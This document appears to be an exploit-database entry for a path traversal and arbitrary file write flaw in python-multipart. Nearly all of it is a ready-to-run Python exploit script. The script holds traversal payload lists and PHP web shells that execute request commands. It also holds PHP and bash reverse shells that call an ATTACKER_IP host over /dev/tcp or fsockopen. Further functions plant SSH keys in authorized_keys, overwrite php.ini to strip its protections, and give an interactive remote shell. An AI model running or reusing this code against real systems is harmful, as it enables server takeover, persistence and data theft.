==================================================================================================================================
| # Title : Python-Multipart 0.0.22 Arbitrary File Write |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/Kludex/python-multipart |
==================================================================================================================================
[+] Summary : This is an exploitation-oriented targeting a path traversal vulnerability in multipart file upload handling.
[+] POC :
#!/usr/bin/env python3
import requests
import os
import sys
import argparse
import time
import json
import random
import string
from urllib.parse import urljoin
BANNER = """
╔══════════════════════════════════════════════════════════════════════════════╗
║ Python-Multipart Path Traversal Exploit (CVE-2026-24486) ║
║ Affected: python-multipart < 0.0.22 ║
║ Type: Path Traversal -> Arbitrary File Write ║
║ Author: indoushka ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""
class PythonMultipartExploit:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
self.uploaded_files = []
def log(self, msg, level="INFO"):
"""Print formatted messages"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"DATA": "\033[96m[>]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
def generate_payload_content(self, content_type="webshell"):
"""Generate payload content"""
if content_type == "webshell_simple":
return """<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd'] . " 2>&1");
echo "</pre>";
}
?>"""
elif content_type == "webshell_minimal":
return "<?=system($_GET['cmd']);?>"
elif content_type == "reverse_shell":
return """<?php
$ip = 'ATTACKER_IP';
$port = ATTACKER_PORT;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>"""
elif content_type == "test":
return f"[TEST] POC executed at {time.strftime('%Y-%m-%d %H:%M:%S')}"
elif content_type == "ssh_key":
return """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... (SSH key content)"""
else:
return f"Content written by exploit at {time.time()}"
def get_path_traversal_payloads(self, filename):
"""Generate various Path Traversal payloads"""
payloads = [
f"/tmp/{filename}",
f"/etc/{filename}",
f"/root/{filename}",
f"/var/www/html/{filename}",
f"/home/www/{filename}",
f"/usr/local/www/{filename}",
f"../{filename}",
f"../../{filename}",
f"../../../{filename}",
f"../../../../{filename}",
f"../../../../../{filename}",
f"....//....//{filename}",
f"..../..../{filename}",
f"..\\..\\{filename}", # Windows style
f"../../../{filename}%00.jpg",
f"../../../{filename}\\0.jpg",
f"//etc//{filename}",
f"///etc///{filename}",
f"/etc/../etc/{filename}",
f"%2e%2e%2f%2e%2e%2f{filename}",
f"..%252f..%252f{filename}",
f"../.../../{filename}",
f"././/../{filename}",
]
return payloads
def upload_file(self, file_path, content, content_type="text/plain", field_name="file"):
"""
Upload file using malicious path name
Args:
file_path: Target path (may contain Path Traversal)
content: File content
content_type: MIME content type
field_name: Form field name for the file
"""
try:
files = {
field_name: (file_path, content, content_type)
}
if self.verbose:
self.log(f"Uploading file to: {file_path}", "DATA")
self.log(f"Content size: {len(content)} bytes", "DATA")
response = self.session.post(self.target_url, files=files, timeout=self.timeout)
return response
except requests.exceptions.RequestException as e:
self.log(f"Upload error: {e}", "ERROR")
return None
def test_path_traversal(self, filename="test.txt"):
"""Test for Path Traversal vulnerability"""
self.log("Testing for Path Traversal vulnerability...")
test_content = self.generate_payload_content("test")
test_payloads = self.get_path_traversal_payloads(filename)
vulnerable_paths = []
for i, payload in enumerate(test_payloads[:10], 1):
if self.verbose:
self.log(f"Testing {i}/{len(test_payloads[:10])}: {payload}")
response = self.upload_file(payload, test_content)
if response and response.status_code < 500:
self.log(f"Potential success with: {payload} (Status: {response.status_code})", "SUCCESS")
vulnerable_paths.append(payload)
elif response:
self.log(f"Failed with: {payload} (Status: {response.status_code})")
time.sleep(0.5)
if vulnerable_paths:
self.log(f"Found {len(vulnerable_paths)} vulnerable paths!", "SUCCESS")
return vulnerable_paths
else:
self.log("No obvious Path Traversal vulnerability found", "WARNING")
return []
def deploy_webshell(self, target_path="shell.php", shell_type="simple"):
"""Deploy web shell on the server"""
self.log(f"Attempting to deploy web shell to: {target_path}")
shell_content = self.generate_payload_content(f"webshell_{shell_type}")
response = self.upload_file(target_path, shell_content, "application/x-php")
if response and response.status_code < 500:
self.log("Web shell deployed successfully!", "SUCCESS")
return True
else:
self.log(f"Failed to deploy web shell (Status: {response.status_code if response else 'No response'})", "ERROR")
return False
def execute_command_via_webshell(self, shell_url, command):
"""Execute command via web shell"""
try:
response = self.session.get(shell_url, params={"cmd": command}, timeout=self.timeout)
if response.status_code == 200:
if "<pre>" in response.text:
import re
match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
return match.group(1) if match else response.text
return response.text
return None
except Exception as e:
self.log(f"Execution error: {e}", "ERROR")
return None
def write_ssh_key(self, username="root", key_path=None):
"""Write SSH key for user"""
if not key_path:
key_path = f"/home/{username}/.ssh/authorized_keys"
ssh_key = self.generate_payload_content("ssh_key")
self.log(f"Attempting to write SSH key to: {key_path}")
return self.upload_file(key_path, ssh_key, "text/plain")
def upload_php_ini_config(self):
"""Upload PHP ini configuration file"""
php_ini_content = """disable_functions =
open_basedir =
allow_url_fopen = On
allow_url_include = On
"""
return self.upload_file("/etc/php.ini", php_ini_content)
def mass_upload(self, file_list, content_template):
"""Upload multiple files"""
results = []
for file_path in file_list:
self.log(f"Uploading: {file_path}")
content = content_template.replace("{file}", os.path.basename(file_path))
response = self.upload_file(file_path, content)
results.append({
"path": file_path,
"success": response and response.status_code < 500,
"status_code": response.status_code if response else None
})
time.sleep(0.5)
return results
def interactive_mode(self, target_path="shell.php"):
"""Interactive mode via web shell"""
base_url = self.target_url.rsplit('/', 1)[0]
shell_url = f"{base_url}/{target_path}"
self.log(f"Attempting to access web shell: {shell_url}")
test_response = self.execute_command_via_webshell(shell_url, "echo 'TEST'")
if test_response and "TEST" in test_response:
self.log("Web shell access successful!", "SUCCESS")
print("\n" + "=" * 60)
print("Interactive Mode - Type 'exit' to quit")
print("=" * 60 + "\n")
while True:
try:
cmd = input("\033[92mShell>\033[0m ").strip()
if cmd.lower() == "exit":
break
if not cmd:
continue
result = self.execute_command_via_webshell(shell_url, cmd)
if result:
print(result.strip())
else:
print("[!] No output received")
except KeyboardInterrupt:
print("\n[!] Use 'exit' to quit")
else:
self.log("Failed to access web shell", "ERROR")
def create_evil_file(filename, content_type="webshell"):
"""Create malicious file locally"""
content = {
"webshell": """<?php system($_GET['cmd']); ?>""",
"reverse": """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"); ?>""",
"info": """<?php phpinfo(); ?>"""
}
with open(filename, 'w') as f:
f.write(content.get(content_type, content["webshell"]))
return filename
def main():
parser = argparse.ArgumentParser(description="Python-Multipart Path Traversal Exploit (CVE-2026-24486)")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8000/upload)")
parser.add_argument("--test", action="store_true", help="Test for vulnerability only")
parser.add_argument("--webshell", help="Web shell filename (e.g., shell.php)")
parser.add_argument("--shell-type", choices=["simple", "minimal"], default="simple", help="Web shell type")
parser.add_argument("--command", help="Execute command via web shell")
parser.add_argument("--upload", help="Upload local file to remote path")
parser.add_argument("--remote-path", help="Remote path for upload (with --upload)")
parser.add_argument("--content", help="Custom content for upload (text)")
parser.add_argument("--interactive", action="store_true", help="Interactive mode after deploying web shell")
parser.add_argument("--list-payloads", action="store_true", help="List Path Traversal payloads")
parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
args = parser.parse_args()
print(BANNER)
if args.list_payloads:
exploit = PythonMultipartExploit(args.url, args.verbose)
payloads = exploit.get_path_traversal_payloads("test.txt")
print("\nPath Traversal Payloads:")
for i, p in enumerate(payloads, 1):
print(f" {i:2}. {p}")
return
exploit = PythonMultipartExploit(args.url, args.verbose)
if args.test:
exploit.test_path_traversal()
return
if args.upload:
if not os.path.exists(args.upload):
print(f"[-] File not found: {args.upload}")
return
remote_path = args.remote_path or f"/tmp/{os.path.basename(args.upload)}"
with open(args.upload, 'rb') as f:
content = f.read()
response = exploit.upload_file(remote_path, content)
if response and response.status_code < 500:
print(f"[+] Uploaded {args.upload} to {remote_path}")
else:
print(f"[-] Upload failed: {response.status_code if response else 'No response'}")
return
if args.content:
remote_path = args.remote_path or "/tmp/custom.txt"
response = exploit.upload_file(remote_path, args.content)
if response and response.status_code < 500:
print(f"[+] Written content to {remote_path}")
else:
print(f"[-] Write failed: {response.status_code if response else 'No response'}")
return
if args.webshell:
if exploit.deploy_webshell(args.webshell, args.shell_type):
base_url = args.url.rsplit('/', 1)[0]
shell_url = f"{base_url}/{args.webshell}"
print(f"\n[+] Web shell available at: {shell_url}?cmd=command")
if args.command:
result = exploit.execute_command_via_webshell(shell_url, args.command)
if result:
print(f"\n[+] Command output:\n{result}")
if args.interactive:
exploit.interactive_mode(args.webshell)
return
parser.print_help()
print("\n[!] Examples:")
print(" Test vulnerability: python3 exploit.py -u http://localhost:8000/upload --test")
print(" Deploy web shell: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php")
print(" Execute command: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --command 'id'")
print(" Interactive mode: python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --interactive")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation